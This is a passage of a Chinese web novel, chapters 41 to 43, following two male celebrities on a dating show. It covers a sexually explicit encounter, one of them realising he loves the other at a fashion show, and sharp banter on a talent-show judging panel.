手指沿着脖颈的位置往下抚,隔着潮湿钻进领口,陆屿洲感受着金属的链条微微晃动,沿着触感分明的圆珠摩挲它的形状,盘旋的弯曲的,从被雨水打湿的白色衬衫里透出一点红。 季沨被他吻得有些窒息,仰着头靠在树干上喘气,听着陆屿洲贴在他的耳边问:“季沨……这个设计?” 金属的蛇形,蛇信中吐出的血红宝石,两只小蛇被锁链扣紧,微微一扯,那两颗宝石就会跟着晃动。 那是当初在颁奖典礼前,陆屿洲发给季沨的图片。 季沨眉眼潮湿,感受着陆屿洲的手指从蛇身轻轻抚到蛇尾,被吻得发红的唇畔轻轻张开:“不是你说喜欢的吗?” 手指猛地收紧,陆屿洲觉得自己要疯了。 * 那顿靠大自然的馈赠才得来的饭只草草吃了两口就被变成了宵夜。 整个夜晚最有用的果然是那张花巨资换来的床和一整面的落地窗,两人一起洗了澡却没换衣服,陆屿洲终于看到了那件配饰的全貌—— 锁链是银色的,蟒蛇确实漆黑,一圈一圈地盘旋在微微鼓起的地方,蛇信中吐出的红宝石衬得皮肤如雪一样白,让人疯狂地想要在上面留下痕迹。 而陆屿洲果然是这么做的。 一只手按在季沨的腰腹,偏硬的头发扎在季沨的颈侧,脖颈被吊得高高扬起,那条银色小链随着人的动作叮铃摇晃。 “季沨,季沨,季沨,季沨。” 陆屿洲一遍一遍地叫他的名字,季沨的手指伸进他的发丛,呼吸变得急切:“你带的东西呢?” “我……” 陆屿洲想说在车上,刚要开口却又在想如何跟季沨解释他居然会带着那些来恋综,动作一慢,便被季沨揪着头发按了上来:“算了,直接来。” 这不在陆屿洲所遵守的规范里,但是他在季沨面前一向没有什么原则,那颗血红宝石变得愈发亮晶晶的,两侧盘旋的蛇身因为碰撞不断被更换着位置,陆屿洲一只手扯着锁链,看着季沨眼神微微失焦,眼尾不断沁出泪水来。 陆屿洲压在他贴在窗前,一只手扣住季沨的手腕,手指下滑,在余韵中将什么东西戴在了他的腕上。 季沨抬手看了一眼,那是一条茉莉花手串。 和街上老婆婆卖得不太一样,因为没人会在这种一次性的花串里还精心加上珍珠和丝带,更像是某个审美挑剔的人自己串的。 连戴着的位置也刻意,取代了原来的手表,柔软的花瓣像是覆在腕上的月光。 明明其他地方都在变红,唯有这里却依然皎洁如初,季沨失神地举起手腕望了一眼:“这是……回礼吗?” “嗯。” 陆屿洲点头又摇头:“不全是。” 是给芙蓉花的回礼,却不是给萤火虫的回礼。 但是季沨看起来很开心,蜷起手腕想要藏起来,却被陆屿洲按着举过头顶,茉莉花的汁.液被压得溅出来一些,落在旁边的芙蓉上。 温差很快让玻璃上留下一层水雾,人影变得模糊不清,只有不断移动的位置映出两只交叠的掌印。 一只压着另一只。 十指紧扣。 * 第二天清晨,依然是季沨先去的演播室。 西装衬衫长裤,他身上的痕迹已经被遮得严严实实,季沨拉开椅子坐下,便见宋骁笑眯眯地将自己审视一圈,季沨不慌不忙:“宋老师。” 宋骁说:“你现在可是我的好学生了,老杨在外面到处传你演技进步飞速是因为在我这儿学的,你知道下期想往我这儿塞人的有多少吗?” “确实是宋老师您教得好。” 宋骁但笑不语,视线在他扣紧西装纽扣上一晃:“我记得你以前穿衣服都是扣到第三颗的,怎么,今天很冷?” “是有点,”季沨不动声色望了眼旁边的摄像,“山里风有点凉,回去还要拍戏,要是生病就不好了。” “放心,摄像没开。” “这一点你就不如那小子,”他一挑眉,“他昨天都能故意当着摄像的面打架,要不是我及时让潘叙掐断了直播,你俩估计现在能一起在热搜上了。” 季沨对宋骁的说法不置可否:“我确实很多地方不如他。” “但是有一点,你确实是比他强的……” 宋骁点了点自己的太阳穴示意脑子:“你知道他刚来的时候跟我说什么——说他来恋综是被我骗过来的,宋叔你多照顾点他。” 他们俩说话经常像是两只狡猾的狐狸过招,但是这一次,宋骁似乎直接把牌桌给掀了:“我还在想什么样的人才能被陆屿洲那种人骗到?直到上期见到你才知道,原来是揣着明白装糊涂。” 话题到了这个方向,季沨索性往椅后一靠:“没有,其实他很聪明。” 只是不用在揣测人心上罢了。 “你倒是挺会帮他说话,”宋骁道,“上期说你一定会赢,那这一次呢,”他清亮的眼睛望着季沨嘴角的笑,“这次是顺利得到想要的了?” “这次……” 顺利吗? 其实并没有。 因为季沨原本的计划,是要陆屿洲自己因为愠怒承认突破了朋友的界限,随后顺理成章地提出试试,他完全可以营造出一个玩世不恭风流浪荡的形象,和上恋综时一样,让陆屿洲觉得这场关系其实是他强迫季沨求来的。 往往抓得更紧的那个人,才会更珍惜。 季沨这样优秀的猎人,出第一张牌的时候就已经想好了结局。 只是……昨天的那双通红眼睛好像还在面前,胸口斑驳的痕迹一动就会发痛。 对面的人似乎跟自己预想的打法不太一样。 以至于原本准备好的王炸被拆开了。 季沨微微摇了下头:“不太算吧。” 他说着轻抚了下手腕,也许是昨天大雨潮湿,那串茉莉花经过一夜,居然还依旧皎洁:“不过……这样好像也不错。” “宋老师,”季沨抬起眼睛,“你相信这个世界上,一个人能够完全爱上另一个人的全部吗?” “不相信。” 宋骁答得很快:“我们在每段关系中表现出的,都只是一部分的自己,有时候连我们自己都没有办法看透自己,这个世界上根本就没有人可以完全理解另一个人,更遑论是爱。” 对啊,原本就是这样的。 所以说他和宋骁才是同类。 连自己都没有办法看透自己…… 季沨在唇齿间过了一遍这段话,却突然想起,在那个狭窄的巷子里,陆屿洲眼眶通红,按着他的肩膀问——“那你呢?” “我以前确实是这么觉得,”指尖轻轻拂过茉莉花瓣,季沨说,“但是不知道为什么,现在突然想试试了。” “我一直都当你是可敬的同类。”宋骁的目光扫视过他,“你应该知道这很冒险。” “我们这样的人,从来应该做没有把握的赌徒,不是吗?” “那应该是宋老师,我不是。”季沨笑了,“我从一开始就是个赌徒。” 从他踏进这个圈子里那一步起,从他遇到回国后的陆屿洲那一刻起。 机场出柜是赌博,因为没有人知道会掉粉雪藏还是会一夜爆火,跟陆屿洲结束关系是赌博,因为再周密的计划,他也不一定能够保证陆屿洲会对这个过了半年的床伴依然念念不忘。 要么筹码翻倍,要么一夜清零。 金钱名声地位,这些常人趋之若鹜的东西季沨全都不放在心上,在意得他太少,所以常常兵行险着。 既然拆了王炸,那么明牌打又如何呢? 就让他知道生日,就让他知道招数,赢了从此这些机关算尽便都不必有,输了也不过是一局牌。 “宋老师,”季沨说,“要不要再加个码?” “什么?” “听说邱导正在筹备新电影的人选,隐藏在丛林中的狐狸,很适合不是吗?如果我赢了,能不能麻烦宋老师帮忙在邱导那里提两句?” “演了杨阶的剧还不够,居然想着拿电影冲奖?季沨,你这转型的步子迈得可真够大的,”宋骁目光审视,“而且,你要是有这样的本事,之前为什么不拿出来,还要让人指着鼻子骂花瓶?” 季沨笑了,桃花眼漾出一点细碎的光:“既然是丛林……一个猎物如果漂亮又弱小却还想要往上走,他要么学会隐藏,要么学会伪装,不是吗?” 宋骁望着季沨,他们这样聪明的人有时候无需太多话,只需一句便能想通所有关窍: “那现在是觉得到时候了?” “对。” “季沨,你有时候真的让人很欣赏,”宋骁漆黑的眸子里透出光亮,“还好你是真的对小陆那孩子有感情,不然他落到你手里,恐怕连个骨头都不剩。” 季沨眉眼一挑,轻轻地摩挲了下手腕,想起陆屿洲昨天那不着寸缕又疯狂温柔的样子:“他现在也连骨头都不剩。” 宋晓抚掌大笑起来。 “好,我答应你,如果你赌赢了,我就帮你引荐。” 宋骁说:“不过我倒是有点好奇,你明明有经纪人有公司,人脉应该也够得着老邱吧,怎么用得着你自己来找我开这个口?” “很快就没有了。” 宋骁一愣,旋即明白了季沨的意思。 于是从旁边摸出一根红绳递给季沨:“送你个东西,之前在庙里跟大师求的。” “说是能转运,戴着是个念想,这路不好走,祝你好运?” “不用了。”季沨笑笑:“谢谢宋老师。” 他抬起手,晃晃自己腕上的茉莉花手串,“不过,” “我已经有幸运符了。” * 季沨一出门,正好和被工作人员带着的陆屿洲相遇。 两个迎面而过,虽然今天起床之前被季沨勒令不要再穿错衣服,但还是被陆屿洲强行了找了件自己的衬衫给季沨穿——说是季沨那里破了皮,宽松一点不容易碰到。 眼前的人穿着自己的衣服,浑身上下充满自己的痕迹,陆屿洲空虚了一个月的心油然一种满足,正要趁擦肩的时候搞点小动作勾勾季沨的手指,突然听到季沨道: “陆老师,你可以等我一会儿吗?有东西要给你。”!!!!!!!! 多么相似的话术,陆屿洲瞬间想起上次的结局——季沨告诉了他香水的品牌,给他系了领带,结果转头就把他删了! 陆屿洲等了一个月才重新爬上床,对这种事后的早晨几乎是有些应激,季沨刚要从房间出来,一只手便抵上门板,高大的身躯挡着路,几乎将他困在房间里,陆屿洲等不及从楼下跑上来,语气颇有些咬牙切齿:“季沨,你要是再敢……” 话还没说完,季沨却像是早料到一样抬起头:“再敢什么?” “删你好友还是跟你说结束关系?” “那不然,你想要什么呢,陆老师?” 他盯着陆屿洲的眼眸,季沨总是这样,即便是拒绝和结束的时候,也永远是温温柔柔的,好像是一把杀人不见血的刀,月光般的刀刃轻轻地剖开人的心脏:“这个世界上没有要亲手做礼物送给另一个人的炮.友,也没有抱在一起滚床单的朋友,陆屿洲——” 季沨抬起眼睛,手起刀落:“你到底想要什么呢?” 陆屿洲几乎能听到血管被割裂的声音,全身的鲜血好像已经不再供给那个位置—— 他想要什么呢? 炮/友不够,朋友好像也不够,想要关心他为他生气却又忍不住在他的身上留下痕迹。 想看他笑却又想看他在落地窗前哭泣的模样,想要把全世界最好的东西送给他却又想听他在身下婉转哀求。 真奇怪啊,天下没有这样的床伴,也没有这样的朋友 陆屿洲,想要什么呢? 不是陌生人不是床伴也不是朋友,而是—— 月光般的刀刃剖开心脏,陆屿洲唇齿动了动:“我……” “你真的准备好了吗?” 陆屿洲试图开口,可话却被季沨截住了:“如果爱意味着绝对信任和对自由的侵占,那么你现在开口就意味着跟另一人交付信任,意味着你要开始共享隐私和空间。” “意味着你之后不管做什么事情都会有个限定的约束词,和从他身上获取的同样的权利和责任。” “意味着你要从此试图入侵、控制、融入另一个人的生活,即便这会改变你们双方的习惯。” “当然……我说的这些并不意味着你说了就一定能够得到,我只是想要告诉你——” 季沨注视着他的眼睛:“陆屿洲,开口之前,你真的准备好了吗?” 不是暧昧的模糊地带,不是心照不宣的纵容越界。 要么彻底得到,要么满盘皆输。 “不用急着现在告诉我,”季沨笑了笑,“再想一想吧,陆老师。” 他说着,向前一步,抬手替陆屿洲整了下领带。 提出结束关系的那天早上,上期恋综的那天早上,季沨都是一模一样的动作,他在陆屿洲面前永远都是温柔的:“我们对彼此……也许都还不够了解。” “想一想,再告诉我答案,嗯?” “季沨……” 这样的季沨总让陆屿洲觉得慌乱,仿佛下一秒就要消失,陆屿洲不知道自己要说什么,却下意识伸出手去抓他。 结果刚刚伸出手,咔嚓一声。 陆屿洲低头一看,是季沨将一块表戴在了他的腕上。 是之前季沨腕上那支同品牌的系列新款,玫瑰金的金属外壳看起来很漂亮,陆屿洲这才发现,这只表对于季沨来说过大的表盘尺寸,戴在他的手腕上,却原来才是正正好的。 “迟到的生日礼物。” “陆屿洲——” 季沨后退一步出了门,却是生平第一次,没有回头去看摄像和众人的位置,而是微微踮起脚, 一个很轻的吻落在了陆屿洲的眉心。 心中所有的惶惑和焦急都仿佛在这一刻被安抚,扣在手腕的表带像是拴在颈上的锁链,这一次,季沨没有再说“再见”,而是道: “下期见。” 第42章 第四十二章 “陆屿洲!!!! 啊啊啊啊啊洲洲!!!” “是不是要出来了!是不是要出来了!!卧槽卧槽好帅啊!!!” “我要疯了我要疯了!!啊啊啊啊啊好帅啊好辣老公老公老公!” “洲洲看这里看这里!!!!” 闪光灯将刻意做暗的秀场照得亮如白昼, 秀场中央是四面透光的棱镜设计,人物从红毯的另一侧走出,身体被棱镜分割成无数细小的碎片, 陆屿洲一只手随意搭着,姿态倨傲懒散, 浅灰色的廓形大衣披在肩上,胸口的蓝色衬衫像是荡开的水波, 露出结实有力的腹肌和形状漂亮的胸膛。 他这次没有穿西裤, 而是用了毛呢面料做的卡其色的长裤, 陆屿洲的台步一直榜上有名,这种厚重的面料在他的行走下却仿佛变得轻盈, 挺括的长裤勾勒出腿部肌肉, 修长双腿仿佛是漫不经心在台上散步的猎豹, 直到到了T台中央,才将手指插进口袋,英俊的面容微微一转,琥珀色的眸子向下一瞥, 视线冷淡又充满张力。 “啊啊啊啊啊啊啊洲洲!!!” “老公帅死了老公我爱你老公老公!!!!” “还有谁!我就说还有谁啊啊啊啊啊!!!” C.L系列春夏新品发布会今年在海市举行, 特意请了华籍的陆屿洲做压轴,但即便是前方一排肤色各异身高腿长的模特走过去,陆屿洲的表现也丝毫不见逊色。 那张过分俊逸的脸在秀场看还好, 离近了便更能感到荷尔蒙的冲击力,更何况陆屿洲今天穿的几乎是个开叉深V, 只一条黑色的身体链从他的脖颈坠落到胸肌的聚拢处, 亮晶晶的让人移不开眼睛。 “屿洲这个身材, 真是……连我一个已婚的人都受不了啊,怪不得是今天还听到有设计师说失去你真是巴黎的损失。” 主持人说着将话筒递到陆屿洲旁边:“作为C.L系列品牌的压轴, 有什么想法吗?” “没什么,”陆屿洲声音清冷,神色也淡淡的,“习惯了。” 淦!在内娱里说这种话真的不会被人打死吗? 这种狂气实在像极了某个人,主持人笑着打哈哈:“也是,这对我们陆老师来说应该是家常便饭了。” “大家都说你跟之前的老东家闹掰是因为在之前的巴黎大秀上被人说之所以这么火只是因为长得像是符合西方主流审美的亚裔,”主持人道,“请问是有这回事吗?” “没有,”这明明是一波拉好感的好机会,陆屿洲却只是淡淡道,“我跟蒂芙尼更多的是设计理念的不合。” “哦?”主持人来了兴趣,“那陆老师自己的设计理念是什么样的呢?” “是……”陆屿洲的视线淡淡地往观众席的位置看了一眼,前排中央的座椅依然空空荡荡,收回视线道,“这个现在还不能说。” “都说模特只是设计师理念的体现者,陆老师这么说……是打算等一个机会向我们展示自己的理念吗?那我们可就拭目以待啦!” 主持人很聪明,挖出了陆屿洲打算创立自己的私人品牌这个大瓜,没等对方反驳就立刻道:“下面就进入我们喜闻乐见的观众问答环节,让我们在现场随机挑选一位观众进行提问,关于C.L秀场有任何疑问和感悟,都可以在这里跟陆老师交流哦。” 台下的灯光转了一圈,最后是一个打扮精致的女孩子握住了话筒,她看起来很激动,简直要从座位上跳起来,连胸口处别的谷子都跟着晃了一下,随后捧起话筒,大声道:“陆老师!你穿深V来秀场,回去不怕季老师让你跪键盘吗!” 天哪这算是什么问题,场控怎么切的灯不是有一开始就找好的托吗? 人家季沨工作室的通稿都发成那样了,怎么还有人相信他俩是真爱呢,娱乐圈能有真情吗? 主持人心中腹诽,正要把话题切过去,可一旁站着的陆屿洲却突然举起话筒,原本对什么问题都淡淡的人像是突然来了兴趣一样:“没有,他说很好看。” 台下瞬间炸了。 唯有陆屿洲一人淡定地下了台,迎着众人的视线坐在了中央属于自己的位置上。 这种大牌发布会自然是请了不少明星站台,可后面坐得满满当当,这种核心C位居然还空着一个,众人纷纷猜测这位置到底是留给谁。 陆屿洲往旁边空着的位置望了一眼,又忍不住收回视线,叹了口气。 说好看其实已经是三天前试衣时候的事情了。 明文给他拍了几张图,被陆屿洲没话找话一样发给季沨,顺带问候了一遍他那里冷不冷热不热饿不饿累不累,结果季沨的回复只有四个人——“挺好看的”。 陆屿洲也不知道自己是怎么了。 季沨那天问他的,是不是准备好另一个人建立一段亲密关系,准备和另一个人共享另一半的隐私、空间和生活,陆屿洲从前没想过这种事。 但是他的抵触好像仅仅来自这件事本身,而如果想起的那个人是季沨的话,便好似什么事都没有关系了。 只是那期恋综一结束,季沨便因为拍戏要去往外省,陆屿洲却为了筹划秀场留在这里。 两个人也有半个月没见了。 这在以前其实并不算什么,毕竟他们一个月可能也就说过那么几句话,但是现在,却令人觉得难以适应难以接受了起来。 他总是忍不住要给季沨发消息。 听说季沨要前天会回来,便巴巴将两个人的位置调在一起。 毕竟是现在的顶流,这种活动自然会邀请他,陆屿洲压轴的消息也是尽人皆知。 只是看起来……季沨好似并没有要过来的打算。 手机握在手里戳了又戳,陆屿洲没忍住,还是调出那个“季沨(★>U<★)”的对话框,发了一句:【今天的活动……你不来吗?】 季沨并没有立刻回复,倒是头顶突然覆盖一片阴影。 陆屿洲猛地抬起头。 杏仁眼瓜子脸,眼前的人一副乖巧的模样,跟季沨那种随便一笑就风情万种的没有丝毫关系。 是初禾。 “不好意思,这里有……” “我知道,”初禾晃晃手机,“季哥让我跟你说他今晚要去一个节目出评委,就不过来了,这个位置先给我坐吧。” 打开的界面里赫然是聊天对话框,陆屿洲只需一眼便能辨别季沨的头像,靠回椅背,连语气也闷闷:“他怎么不自己跟我说?” “哦,我刚好找季哥有事儿,可能顺带了吧。” “你找他什么事?” “我们公司有个弟弟在他那个唱跳节目里,公司让我给他打个招呼让他照顾一点。” 圈子里到处都是人情世故,虽然初禾说得是——“能力其实很一般,能淘汰赶紧淘汰,不然后面又要我找关系,烦死。” 不过初禾这么一提,陆屿洲倒是突然想起来,前段时间在网上扒拉季沨的通告单时,好像是看到过有这个节目。 倒也不是跟个私生一声要把人家的行程死记硬背,陆屿洲之所以印象这么深刻,主要是——陆屿洲转向初禾:“江沼不也在这个节目吗,你怎么不找他?” 初禾莫名其妙地望了他一眼:“我为什么要找他?” “你跟他……第一期的时候不是……” 那天早上江沼突然跑出来莫名其妙地问了他跟季沨一堆乱七八糟的酒后乱性的问题,江沼看起来可不像是突然有感而发的人,就算是陆屿洲不太敏锐也察觉到了什么不对。 更何况,退一万讲,初禾和江沼才是荧幕CP不是吗? “你也太好玩了吧陆老师,”初禾笑了,“这年头谁会把酒后打个炮当回事啊,我连他的联系方式都没有。” “而且没有发展意向的荧幕CP,下了台之后不是应该断得越干净越好吗,我不跟他撕起来提纯就不错了,难不成还要加上每天慰问一遍早安晚安有没有吃饭?” 刚刚问过季沨有没有吃饭的陆屿洲:…… “真的没有吗?”陆屿洲说,“可是我……” “你说你跟季哥?” “那确实不一样,”初禾轻描淡写道,“你不是喜欢他吗?” 压抑的、不自知的、翻来覆去的心思突然在这种场合被这样轻飘飘的方式提了出来,陆屿洲瞳孔一颤:“你说什么?” “怎么,难不成这是什么秘密吗?” 初禾疑惑地看了他一眼:“不只是我,商哥小辞皎皎……哪一个看不出来,就连江沼那种直男癌都知道了吧?” “陆老师,你该不会以为自己藏得很好吧?” “你见到他一个人会帮忙,看他跟我暧昧一点就生气,喝醉了抱着他不撒手,不想他让他干活连洁癖都能忍了,他吃了一点亏就当着镜头动手,还大晚上跑去山里挖野菜,哪个炮.友能做到这个份上啊,你俩这身材颜值谁又不吃亏,怎么,你千里送炮还搭个保姆吗?” “忍不住会心疼、控制不住会吃醋、能让他过得好一点自己就什么可以、想到他开心的样子就会开心,有人欺负他恨不得他把那个人给杀了。” “惦念、委屈、心疼、愤怒、喜悦……这些词语同时出现在一个人身上的时候,不是喜欢还能是什么?” “你自己找个镜子看看你现在的脸吧,”初禾说,“就你现在这个脸色,你要是不喜欢季哥,梁山伯和祝英台都能气活了过来。” “别演了陆老师,”初禾斩钉截铁落下一锤,“你喜欢他这种事——” “已经人尽皆知了。” 陆屿洲的心脏一震,跟着发出钟鸣。 他喜欢季沨吗? 他原来喜欢季沨吗? 他果然……喜欢季沨吗? 真奇怪,听着初禾说出这段话的时候,陆屿洲心中第一个浮现出的感觉居然不是震惊,而是一种果然如此的尘埃落定。 “你果然是喜欢季沨的啊。” 陆屿洲听到自己对自己说。 原来那些所有翻来覆去的惦念,所有不由自主的越界,所有密密麻麻的心疼,原来那天在恋综没能说出口的话,是喜欢吗? 他喜欢季沨。 陆屿洲喜欢季沨。 这或许是一个早该确定的事实,只是…… 只是他从小到大见过了太多的分离,父母结婚时也曾许过天长地久的誓言,母亲跟谈的任何一个男朋友都会说“Loveyou”,他见惯了爱意的廉价的样子,今天相拥的人明天就会分离。 陆屿洲不想分离。 所以他潜意识里以为不拥有就永远不会有这么一天,做一个会在第二天早上帮对方系领带的炮.友也好,做一个会在第二天早上帮对方做早餐的朋友也好,他们看起来似乎都是比爱情更加稳固的关系,即便是来日分开,再见面依然能笑着打招呼。 不像是他的父母,曾经那么相爱的人,分开之后就变成了会面无表情说出对方进ICU的仇人。 越是浓烈精美的感情,碎裂的时候就越是凄惨,陆屿洲从小就知道这一点。 更加知道—— 陆屿洲,其实并不是一个好的恋人。 他性格固执又别扭,很多时候很难让对方感觉到安全感,患得患失又容易不安,渴望被爱但是表达得却少得可怜,只敢像只蜗牛一样小心翼翼地近一点近一点,稍稍遇到一点什么就会缩回壳里。 如果那个人不是季沨,如果不是季沨看起来永远坦荡又温柔,他或许在对方提出结束的第一天就会老老实实回到陌生人的关系。 他不确定自己具有建立一段优质的恋爱关系的能力,但是真的喜欢一个人,如何不想给他最好的呢? “我不是,”陆屿洲的声音渐渐低下去,“我只是觉得……我可能有点配不上他。” 初禾更加匪夷所思地看了他一眼。 几分钟之前,这人还在作为压轴模特在台上大放异彩,众人欢呼掌声环绕,整个秀场的闪光灯都集中在他的身上。 现在却又突然在自己身边自暴自弃地配不上。 难道喜欢一个人会让人变得自卑是真的? 陆屿洲现在看起来一点也不像之前自己跑到台上唱歌弹琴生怕别人看不见他的那个人。 “你居然是这么想的?” “行啊,”初禾一耸肩,他对这件事压根无所谓,也没有要做什么心灵导师开导陆屿洲的善心,“那你不追我去追了,我还挺喜欢季哥的。” 陆屿洲原本低到一半的头唰地抬了起来,眼神凶恶,像是条被抢了骨头的恶狗。 “干嘛这样看我,”初禾吓了一跳,“你自己不追还不让别人碰了,是你自己说配不上,我又没有这样觉得。” 陆屿洲搭在扶手上的捏紧了。 如果他不能给季沨一段健康优质的联系关系的话,那么他觉得能把他交给谁? 总是不好好吃饭的季沨,总是不由自主会忽略自己的季沨,连膝盖伤了都能咬牙一声不吭拍完戏的季沨,陆屿洲能放心让谁来照顾他? 随便在酒吧撩人的初禾?看起来就不太聪明的江沼?还是图谋不轨的许凌则? 他怎么能够让他们靠近季沨?! 只要想一想肺都要气炸了! “不然这样吧,”初禾说,“我现在给你找一张季哥的照片,你就对着他的脸,说一句我就觉得自己配不上,所以无论如何都不会追他不跟他在一起,就算你确实是这么想的,怎么样?” * 嗡! 演播厅里,正坐在评委席上偷吃鸡爪的江沼看了眼新消息,突然将零食袋子往抽屉里一塞,鬼鬼祟祟地打开了前置摄像头。 似乎是先节目组的旋转椅不够顺滑,江沼一分钟在椅子换了八百个姿势,手指从握拳到比耶,费尽心思地搔首弄姿。 “哟,江老师,”旁边的评委笑道,“怎么这都要开始了自拍呢?” “哈哈哈,”江沼笑道,“这不是好久没来当评委了,我激动嘛,尤其是跟季老师一起,我跟季老师都好久没见了,你们不知道我俩平时关系可好了我有多珍惜这个机会来来来季老师我们一起合张影!” 江沼说着就去揽他的肩,季沨偏了下头,一脸嫌弃:“江沼,你就算要自拍,也记得把嘴上鸡爪的油擦一下吧!” “啊?卧槽!” 江沼火速去拿纸巾,季沨这才看了眼手机上新发来的消息。 初禾:【好啦,很成功!真难为你有耐心啊季哥,我从来没见过这么笨的人,这人怕不是个傻子。】 初禾:【我总算知道你为什么不自己说了,你怕不是自己不舍得骂他所以换我来吧?】 【他不是笨,他就是感情上会下意识迟钝一点。】 但是这种人一旦确定,也往往会更坚定。 季沨说:【辛苦,回头请你吃饭。】 【那倒不用,把这么好的位置让给我坐,估计今晚光生图都够我几次热搜,我应该谢谢你才对。】 初禾想了想,又发:【还有,谢谢你之前的伞。】 这当然是陆屿洲之前说的话。 季沨笑了起来。 那边的江沼终于擦完了嘴,对着镜子反复确认自己已经干净,又重新鬼鬼祟祟地打开相机。 前置摄像头一张大脸,可是却越过肩部悄悄调换着位置,以至于前方的人脸都出去了半张,倒是旁边坐着那人渐渐清晰了起来。 上方对话框里跟着跳出一句—— 陆屿洲:【拍好了吗?】 季沨对江沼的小动作好似无知无觉,只是稍稍侧了下身位,一只手撑着下巴,低垂的眼睫扫出一片阴影,唇角微微勾起,换了个更上镜的一个角度。 第43章 第四十三章 “行了江老师快别拍了!”导播过来喊人, “选手和观众马上就开始入场了,大家先准备一下。” 江沼这才点点头,火速将自己刚刚的战果一股脑发过去, 随后又转向季沨,将自己旁边的气泡水递了递:“那个……你要不要喝点?” 季沨疑惑地看了他一眼:“你得绝症了?” “我他……”江沼欲言又止, “我这不是,你男, ”草, 怎么那么多禁忌词, 江沼重新换了个说法,“你男性CP跟我说, 让我对你礼貌一点。” “那倒不用, ”季沨淡淡道, “你这样看起来我会觉得旁边坐了个鬼。” “草,早说,憋死我了。” 江沼也不问了,直接将气泡水扔给他了。 季沨接过来, 将气泡水倒在旁边的杯子里充当白开水, 又把标签撕开扔掉,一套动作标准熟练。 “瞧瞧我们季老师,”江沼得到赦免, 立刻开始开嘲讽,“果然是做什么都专业, 这动作, 谁能知道他平时在节目上都在喝些什么?” “那倒是不如江老师, 跟导演喝酒还往里面加水。” “行了行了,选手入场了。”旁边的评委提醒道。 二人这才恢复了正襟危坐的模样。 这里是个唱跳类的选秀综艺, 作为早年男团的佼佼者,季沨和江沼的身份自然再合适不过。 唯一就是近两年内娱水平下滑得是实在厉害,看他们唱跳甚至还不如听评委席上季沨开大有意思—— “你说你是什么?蛇系帅哥?是我这么多年孤陋寡闻了,这年头蛇都能当帅哥了,等会儿不会给我来一个蟑螂系吧?” “你演技好?这是个唱跳综艺你跟我谈演技?那你演技这么好不拿影帝是等着拿影后吗?” “粤语歌啊,KTV里的拼音标注你读完了吗?江老师他小学二年级的侄子都比你发音准吧。” “我是听说过高音直击天灵盖的,但是这种掀开我天灵盖的还是第一次见,要不然你往中间站站吧,靠着点江老师唱,要送还是先把他送走。” 周围一阵哄笑。 季沨之所以能在团队解散毫无影视代表作的情况下还能稳稳占着顶流的位置,原因就是他这个人十分敢讲。 他当年都敢在机场出柜怒怼黑粉,综艺上骂个人自然是不在话下,事实上这种节目就是一部分人冲着耍宝卖黑来的,甚至敢顶着个科技脸有人夸自己的颜值像某某已过世的老牌影帝。 江沼都看得直皱眉,一边摇头一边给季沨的杯子加水,他难得和季沨站在统一战线上,偷偷说:“骂得好!” “哪句?”季沨端起杯子,抽空看了他一眼,“把你送走吗?” 江沼立刻重重地坐回去了。 结果往台上一看,顿时更生气了—— 现在上来的是个跳舞的,先是两条腿在地上擦了一圈,随后站起身,两只爪子像是被蚂蚁咬了左右互搏了一段,又突然像是中毒般左右抽搐,哐哐两个前滚翻。 这个舞蹈看起来和美没有任何关系,比起艺术更像是在发癫。 “真不知道他们是来干什么的,”江沼忍不住道,“我有时候看着他们会觉得是不是自己作为人类太正常了。” “好了,这个就省省吧,等会儿敷衍两句让他过去得了。”旁边的评委提醒道,“王导之前打过招呼的,这位是太子爷,这不是下凡折腾人来了。” 他们骂归骂,也知道圈子里某些默认的规则,江沼心里不爽却也没办法,只是拿胳膊肘碰了碰季沨:“听到没,等会儿收着点啊。” 季沨这人很奇怪,有时候你觉得他聪明得要命,心眼子比菠萝孔都多,但是大多数时候又是一副什么都不在乎的样子。 就好像即便是明天一夜从顶端坠落,还是能笑眯眯坐在酒吧里调情。 比如现在,即便是听了江沼和另一个评委的话,季沨好似也压根没往心里去,手指压着笔尖,签字笔在手中转了个来回,看着台上的表演,一脸嫌弃地点了点眉心。 终于等到那人表演完,起身一撩头发抹一把汗,他可能是觉得这样很帅,一只手还偷偷插进口袋: “各位导师大家好,我是练习生卓超,平时喜欢跳舞、唱歌,特长是可以单手倒立两分钟。” “除了这个,”江沼有些头疼,“你觉得你比起其他选手,有什么优点吗?” “当然有,我不仅舞蹈很好,身材比例非常完美,可能是遗传了我妈妈吧,她是国家一级舞蹈演员,不过眼睛倒是有点像我爸爸……” 江沼听着他如同我的区长父亲一般的朗诵,目光由下而上他那裤子长了一截的腿和比芝麻大那么一点的眼睛,最后听见这人道:“朋友们都说我简直是标准的模特身材,当然,我本人比较热爱舞蹈,对做模特是没有什么想法的啦。” “不然我要是当初去巴黎的话,还有那个陆屿洲什么事呢。” 这简直是陆屿洲被黑得最惨的一集,江沼心里咯噔一声,下意识去旁边的季沨。 季沨对这一点倒没什么表示,表情看起来也淡淡,只是开口道:“舞担的话,身材和身高有时候并不是最主要的,爆发力才是。” “我十分理解你在oldschool里加入jazz再放入中国武术想要展示自己灌了蛋白粉也养不出的身材的心情,但是第一,oldschool重要的应该是律动和节奏,这样零碎的编舞完全破坏了整体的完整感,看起来你在这部分并没有遗传到你母亲的基因,当然,包括长相。” “第二,也许是街舞里确实有些刻意让身体失控的puppet动作,但这绝不是摇头晃脑,这样只会让你看起来很像是一只奇行种。” “第三,这个世界上爱好跳舞的人有很多,但是真正适合这个职业的却很少,有时候爱好是不能写进特长里的,就像是穿了10厘米增高鞋垫的人过不了模特海选一样,对吧?” 卓超的脸色瞬间黑了。 虽然季沨在骂人里确实添加了一些值得聆听的意见,但是被家里一路保送过来玩的少爷显然是听不得这个的,别说了这种贴脸开大了,他从小到大连批评都寥寥,遇到季沨可以说是要破防了:“季老师,虽然我理解陆屿洲现在是您的荧幕CP,但是你也不用通过怼我来给你的CP粉发糖吧。” “我对参与到你的炒作中没有任何兴趣,只有没有实力的人才需要用这种方式维持热度,我跟你这种流量咖还是不一样的。” 你看看,吵架吵不过就换个强词夺理,人家说你专业有问题,你就说人家批评你是别有目的,这什么人啊! “卓超!”这下连江沼也看不下去了,“季沨可是你的导师,你……” “那当然不一样。”季沨冷笑了一声,“你觉得自己很有实力吗?” 季沨吵架从不牵连他人,更何况这是他自己的事情,也没必要让江沼跟着一起挨骂。 于是旁边的人一开口,便被他截下了话头。 “确实,”季沨嗤笑一声,“没歹毒的实力也跳不了这么险恶的舞蹈。” 事实证明,陆屿洲总是觉得季沨温柔,应该要在前面加上许多限定词。 毕竟是粉丝能叫风滚草的人,季沨早年的战斗力其实是十分惊人的。 